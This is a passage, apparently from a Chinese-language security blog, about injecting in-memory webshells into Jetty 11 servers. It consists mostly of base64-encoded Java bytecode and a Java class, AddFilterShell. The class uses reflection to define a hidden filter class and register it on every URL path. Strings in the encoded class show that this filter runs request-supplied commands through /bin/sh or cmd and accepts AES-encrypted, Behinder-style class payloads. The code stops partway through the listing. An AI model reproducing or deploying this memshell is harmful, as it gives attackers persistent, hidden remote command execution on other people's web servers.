EwyeGhibWN2VTNSeWFXNW5RblZwYkdSbGNqc0JBQzBvVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3S1V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuUW5WcGJHUmxjanNCQUFoMGIxTjBjbWx1WndFQUNHZGxkRUo1ZEdWekFRQUVLQ2xiUWdFQUZ5aGJRa3hxWVhaaEwyeGhibWN2VTNSeWFXNW5PeWxXQVFBWEtFbE1hbUYyWVM5elpXTjFjbWwwZVM5TFpYazdLVllCQUFsblpYUlNaV0ZrWlhJQkFCb29LVXhxWVhaaEwybHZMMEoxWm1abGNtVmtVbVZoWkdWeU93RUFGbXBoZG1FdmFXOHZRblZtWm1WeVpXUlNaV0ZrWlhJQkFBaHlaV0ZrVEdsdVpRRUFER1JsWTI5a1pVSjFabVpsY2dFQUZpaE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BXMElCQUFka2IwWnBibUZzQVFBR0tGdENLVnRDQVFBSVoyVjBRMnhoYzNNQkFCTW9LVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdBUUFPWjJWMFEyeGhjM05NYjJGa1pYSUJBQmtvS1V4cVlYWmhMMnhoYm1jdlEyeGhjM05NYjJGa1pYSTdBUUJBS0V4amIyMHZZbTl2WjJsd2IzQXZiV1Z0YzJobGJHd3ZSbWxzZEdWeVZHVnRjR3hoZEdVN1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVmdFQUFXY0JBQlVvVzBJcFRHcGhkbUV2YkdGdVp5OURiR0Z6Y3pzQkFBdHVaWGRKYm5OMFlXNWpaUUVBRkNncFRHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN0FRQVJaMlYwUkdWamJHRnlaV1JOWlhSb2IyUUJBRUFvVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3VzB4cVlYWmhMMnhoYm1jdlEyeGhjM003S1V4cVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5TlpYUm9iMlE3QVFBWWFtRjJZUzlzWVc1bkwzSmxabXhsWTNRdlRXVjBhRzlrQVFBR2FXNTJiMnRsQVFBNUtFeHFZWFpoTDJ4aGJtY3ZUMkpxWldOME8xdE1hbUYyWVM5c1lXNW5MMDlpYW1WamREc3BUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdBUUFQY0hKcGJuUlRkR0ZqYTFSeVlXTmxBUUFaYW1GMllYZ3ZjMlZ5ZG14bGRDOUdhV3gwWlhKRGFHRnBiZ0VBUUNoTWFtRjJZWGd2YzJWeWRteGxkQzlUWlhKMmJHVjBVbVZ4ZFdWemREdE1hbUYyWVhndmMyVnlkbXhsZEM5VFpYSjJiR1YwVW1WemNHOXVjMlU3S1ZZQUlRQklBRU1BQVFCSkFBQUFCQUFCQUV3QVRRQUJBRTRBQUFBdkFBRUFBUUFBQUFVcXR3QUJzUUFBQUFJQVR3QUFBQVlBQVFBQUFBd0FVQUFBQUF3QUFRQUFBQVVBVVFCU0FBQUFBUUJUQUZRQUFnQk9BQUFBTlFBQUFBSUFBQUFCc1FBQUFBSUFUd0FBQUFZQUFRQUFBQkFBVUFBQUFCWUFBZ0FBQUFFQVVRQlNBQUFBQUFBQkFGVUFWZ0FCQUZjQUFBQUVBQUVBV0FBQkFGa0FXZ0FDQUU0QUFBTEZBQWNBQ2dBQUFZcXlBQUlTQTdZQUJDc1NCYmtBQmdJQXhnQ1FLeElGdVFBR0FnQVNCN1lBQ0prQWdDdTRBQW01QUFZQ0FEb0VHUVRHQUcwWkJMWUFDcG9BWlFFNkJiSUFDeElNdGdBSW1RQWJCcjBBRFZrREVnNVRXUVFTRDFOWkJSa0VVem9GcHdBWUJyMEFEVmtERWhCVFdRUVNFVk5aQlJrRVV6b0Z1d0FTV2JnQUV4a0Z0Z0FVdGdBVnR3QVdFaGUyQUJpMkFCazZCaXk1QUJvQkFCa0d0Z0FicHdEc0s4QUFITGdBSGJrQUhnSUF4Z0RWSzhBQUhMa0FId0VBRWlDMkFBaVpBTGU0QUNFNkJDdkFBQnk1QUNJQkFCSWpHUVM1QUNRREFCSWx1QUFtT2dVWkJRVzdBQ2RadXdBb1diY0FLU3ZBQUJ5NUFDSUJBQklqdVFBcUFnQzJBQ3NTTExZQUxiWUFMcllBTHhJbHR3QXd0Z0F4R1FXN0FESlp0d0F6SzdrQU5BRUF0Z0ExdGdBMnRnQTNPZ2E3QURoWktpcTJBRG0yQURxM0FEc1pCcllBUERvSEdRZTJBRDA2Q0JrSEVqNEZ2UUEvV1FNU1FGTlpCQkpCVTdZQVFqb0pHUWtaQ0FXOUFFTlpBeXRUV1FRc1U3WUFSRmVuQUJVNkJCa0V0Z0JHcHdBTExTc3N1UUJIQXdDeEFBRUFyd0YwQVhjQVJRQURBRThBQUFCdUFCc0FBQUFVQUFnQUZnQWpBQmdBTGdBWkFEc0FHZ0ErQUJzQVNRQWNBR0VBSGdCMkFDQUFrZ0FoQUowQUl3Q3ZBQ1lBd0FBbkFNVUFLQURYQUNrQTNnQXFBUklBS3dFc0FDd0JRZ0F0QVVrQUxnRmdBQzhCZEFBekFYY0FNUUY1QURJQmZnQXpBWUVBTlFHSkFEY0FVQUFBQUk0QURnQStBRjhBV3dCY0FBVUFrZ0FMQUYwQVhnQUdBQzRBYndCZkFGNEFCQURGQUs4QVlBQmVBQVFBM2dDV0FHRUFZZ0FGQVN3QVNBQmpBR1FBQmdGQ0FESUFaUUJtQUFjQlNRQXJBR2NBYUFBSUFXQUFGQUJwQUdvQUNRRjVBQVVBYXdCc0FBUUFBQUdLQUZFQVVnQUFBQUFCaWdCdEFHNEFBUUFBQVlvQWJ3QndBQUlBQUFHS0FIRUFjZ0FEQUhNQUFBQVpBQWo5QUdFSEFIUUhBSFVVK1FBbUF2c0EwMElIQUhZSkJ3QlhBQUFBQmdBQ0FIY0FXQUFCQUhnQVRRQUJBRTRBQUFBckFBQUFBUUFBQUFHeEFBQUFBZ0JQQUFBQUJnQUJBQUFBUEFCUUFBQUFEQUFCQUFBQUFRQlJBRklBQUFBQ0FIa0FBQUFDQUhvQVN3QUFBQW9BQVFBNEFFZ0FTZ0FBDABJAEoBABBqYXZhL2xhbmcvT2JqZWN0DAD5APoMAPsA/AwAdQB2AQAPX3NlcnZsZXRIYW5kbGVyDABDAEQMAP0AWAEAFmpha2FydGEvc2VydmxldC9GaWx0ZXIBABNfZmlsdGVyUGF0aE1hcHBpbmdzAQATamF2YS91dGlsL0FycmF5TGlzdAwA/gD/DAEAAO4BACZvcmcuZWNsaXBzZS5qZXR0eS5zZXJ2bGV0LkZpbHRlckhvbGRlcgwBAQECBwEDDADxAQQMAQUA/wEAEGphdmEvbGFuZy9TdHJpbmcMAEUARgEAJ29yZy5lY2xpcHNlLmpldHR5LnNlcnZsZXQuRmlsdGVyTWFwcGluZwwASABGDAEGAQcHAQgMAQkBCgEAAzEyMwcBCwwBDAENDAEOAQ8BAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MARABEQEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAI4BDQwAjgBYDABXAFgMAGAAWAwAZQBYAQALY29tLkhGaWx0ZXIBAAIvKgEAJ2NvbS9ib29naXBvcC9tZW1zaGVsbC9JbmplY3RKZXR0eUZpbHRlcgEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABhqYXZhL3V0aWwvQmFzZTY0JERlY29kZXIBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEACGdldEJ5dGVzAQAEKClbQgEAEGphdmEvdXRpbC9CYXNlNjQBAApnZXREZWNvZGVyAQAcKClMamF2YS91dGlsL0Jhc2U2NCREZWNvZGVyOwEABmRlY29kZQEABihbQilbQgEAEGphdmEvbGFuZy9UaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAA5nZ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

Jetty11 内存马

其实是一模一样的

Filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
package com.boogipop.memshell;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;


public class AddFilterShell extends HttpServlet {
private static Object servletHandler = null;
private static String filterName = "FilterTemplate";
private static String filterClassName = "com.boogipop.memshell.FilterTemplate";
private static String url = "/*";

private static synchronized void LoadFilter() throws Exception {
try{
Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
}catch (Exception e){
Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
byte[] b = BASE64Decoder("yv66vgAAADQBJwoAQwCCCgAQAIMKAIQAhQoAYACGCQCHAIgIAIkKAIoAiwgAjAsAQACNCACOCgAQAI8KAJAAkQoAEACSCQCTAJQIAJUHAJYIAJcIAJgIAGkIAJkHAJoKAJsAnAoAmwCdCgCeAJ8KABUAoAgAoQoAFQCiCgAVAKMLAEEApAoApQCLBwCmCgCQAKcLAB8AqAsAHwCpCACqCgCQAKsLAB8ArAgArQsArgCvCACwCgCxALIHALMHALQKACsAggsArgC1CgArALYIALcKACsAuAoAKwC5CgAqALoKALEAuwsAQAC8CgC9AL4KAEgAvwoAsQDABwDBCgBDAMIKAD8AwwoAOADECgA4AMUKAD8AxggAxwcAyAcAyQcAygoAPwDLBwDMCgDNAM4HAM8KAEUA0AsA0QDSBwDTBwDUAQABVQEADElubmVyQ2xhc3NlcwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAmTGNvbS9ib29naXBvcC9tZW1zaGVsbC9GaWx0ZXJUZW1wbGF0ZTsBAARpbml0AQAhKExqYWthcnRhL3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAeTGpha2FydGEvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcA1QEADUJBU0U2NERlY29kZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAEZGF0YQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACmlucHV0Qnl0ZXMBAAJbQgEAB2VuY29kZXIHANYBAAdEZWNvZGVyAQAaTGphdmEvdXRpbC9CYXNlNjQkRGVjb2RlcjsBAAxlbmNvZGVkQnl0ZXMBAAhkb0ZpbHRlcgEAYShMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlO0xqYWthcnRhL3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAA2NtZAEAAWsBAAZjaXBoZXIBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAA5ldmlsQ2xhc3NCeXRlcwEACWV2aWxDbGFzcwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAKZXZpbE9iamVjdAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADHRhcmdldE1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADnNlcnZsZXRSZXF1ZXN0AQAgTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBACFMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAHUxqYWthcnRhL3NlcnZsZXQvRmlsdGVyQ2hhaW47AQANU3RhY2tNYXBUYWJsZQcAZwcA1wEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQATRmlsdGVyVGVtcGxhdGUuamF2YQwATABNDADYANkHANoMANsA3AwA3QDeBwDfDADgAOEBAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcA4gwA4wDkAQAEdHlwZQwA5QDmAQAFYmFzaWMMAMcA5wcA6AwA6QDqDADrAOwHAO0MAO4AXAEAAS8BABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jAQACL0MBABFqYXZhL3V0aWwvU2Nhbm5lcgcA7wwA8ADxDADyAPMHAPQMAPUA9gwATAD3AQACXEEMAPgA+QwA+gDqDAD7APwHAP0BACdqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QMAP4A6gwA/gDmDAD/AOoBAARQT1NUDAEAAOoMAQEBAgEAAXUHAQMMAQQBBQEAA0FFUwcBBgwBBwEIAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAEJAQoMAQsBDAEAAAwBCwENDAEOAOoMAEwBDwwAUwEQDAERARIHARMMARQA6gwAWQBaDAEVAN4BACZjb20vYm9vZ2lwb3AvbWVtc2hlbGwvRmlsdGVyVGVtcGxhdGUkVQwBFgEXDAEYARkMAEwBGgwBGwEcDAEdAR4BAAZlcXVhbHMBAA9qYXZhL2xhbmcvQ2xhc3MBAB5qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB9qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlDAEfASABABBqYXZhL2xhbmcvT2JqZWN0BwEhDAEiASMBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAEkAE0HASUMAGQBJgEAJGNvbS9ib29naXBvcC9tZW1zaGVsbC9GaWx0ZXJUZW1wbGF0ZQEAFmpha2FydGEvc2VydmxldC9GaWx0ZXIBACBqYWthcnRhL3NlcnZsZXQvU2VydmxldEV4Y2VwdGlvbgEAGGphdmEvdXRpbC9CYXNlNjQkRGVjb2RlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAhnZXRCeXRlcwEABCgpW0IBABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RGVjb2RlcgEAHCgpTGphdmEvdXRpbC9CYXNlNjQkRGVjb2RlcjsBAAZkZWNvZGUBAAYoW0IpW0IBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAHGNvbS9ib29naXBvcC9tZW1zaGVsbC9Db25maWcBAAtnZXRQYXNzd29yZAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAHaXNFbXB0eQEAAygpWgEADGphdmEvaW8vRmlsZQEACXNlcGFyYXRvcgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEAFmdldEJlaGluZGVyU2hlbGxQd2RQd2QBAApnZXRTZXNzaW9uAQAkKClMamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAgamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb24BAAxzZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KVYBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADGdldEF0dHJpYnV0ZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAJZ2V0UmVhZGVyAQAaKClMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAIcmVhZExpbmUBAAdkb0ZpbmFsAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQBAKExjb20vYm9vZ2lwb3AvbWVtc2hlbGwvRmlsdGVyVGVtcGxhdGU7TGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAbamFrYXJ0YS9zZXJ2bGV0L0ZpbHRlckNoYWluAQBEKExqYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7KVYAIQBIAEMAAQBJAAAABQABAEwATQABAE4AAAAvAAEAAQAAAAUqtwABsQAAAAIATwAAAAYAAQAAAA4AUAAAAAwAAQAAAAUAUQBSAAAAAQBTAFQAAgBOAAAANQAAAAIAAAABsQAAAAIATwAAAAYAAQAAABIAUAAAABYAAgAAAAEAUQBSAAAAAAABAFUAVgABAFcAAAAEAAEAWAAKAFkAWgABAE4AAABlAAIABAAAABEqtgACTLgAA00sK7YABE4tsAAAAAIATwAAABIABAAAABQABQAVAAkAFgAPABcAUAAAACoABAAAABEAWwBcAAAABQAMAF0AXgABAAkACABfAGIAAgAPAAIAYwBeAAMAAQBkAGUAAgBOAAACvgAHAAoAAAGDsgAFEga2AAcrEgi5AAkCAMYAkCsSCLkACQIAEgq2AAuZAIAruAAMuQAJAgA6BBkExgBtGQS2AA2aAGUBOgWyAA4SD7YAC5kAGwa9ABBZAxIRU1kEEhJTWQUZBFM6BacAGAa9ABBZAxITU1kEEhRTWQUZBFM6BbsAFVm4ABYZBbYAF7YAGLcAGRIatgAbtgAcOgYsuQAdAQAZBrYAHqcA5SvAAB+4ACC5ACECAMYAzivAAB+5ACIBABIjtgALmQCwuAAkOgQrwAAfuQAlAQASJhkEuQAnAwASKLgAKToFGQUFuwAqWbsAK1m3ACwrwAAfuQAlAQASJrkALQIAtgAuEi+2ADC2ADG2AAISKLcAMrYAMxkFK7kANAEAtgA1uAA2tgA3Oga7ADhZKiq2ADm2ADq3ADsZBrYAPDoHGQe2AD06CBkHEj4FvQA/WQMSQFNZBBJBU7YAQjoJGQkZCAW9AENZAytTWQQsU7YARFenABU6BBkEtgBGpwALLSssuQBHAwCxAAEArwFtAXAARQADAE8AAABuABsAAAAcAAgAHgAjACAALgAhADsAIgA+ACMASQAkAGEAJgB2ACgAkgApAJ0AKwCvAC4AwAAvAMUAMADXADEA3gAyARIAMwElADQBOwA1AUIANgFZADcBbQA7AXAAOQFyADoBdwA7AXoAPQGCAD8AUAAAAI4ADgA+AF8AZgBnAAUAkgALAGgAXAAGAC4AbwBpAFwABADFAKgAagBcAAQA3gCPAGsAbAAFASUASABtAF4ABgE7ADIAbgBvAAcBQgArAHAAcQAIAVkAFAByAHMACQFyAAUAdAB1AAQAAAGDAFEAUgAAAAABgwB2AHcAAQAAAYMAeAB5AAIAAAGDAHoAewADAHwAAAAZAAj9AGEHABAHAH0U+QAmAvsAzEIHAEUJBwBXAAAABgACAH4AWAABAH8ATQABAE4AAAArAAAAAQAAAAGxAAAAAgBPAAAABgABAAAARABQAAAADAABAAAAAQBRAFIAAAACAIAAAAACAIEASwAAABIAAgA4AEgASgAAAGAAhABhAAk=");
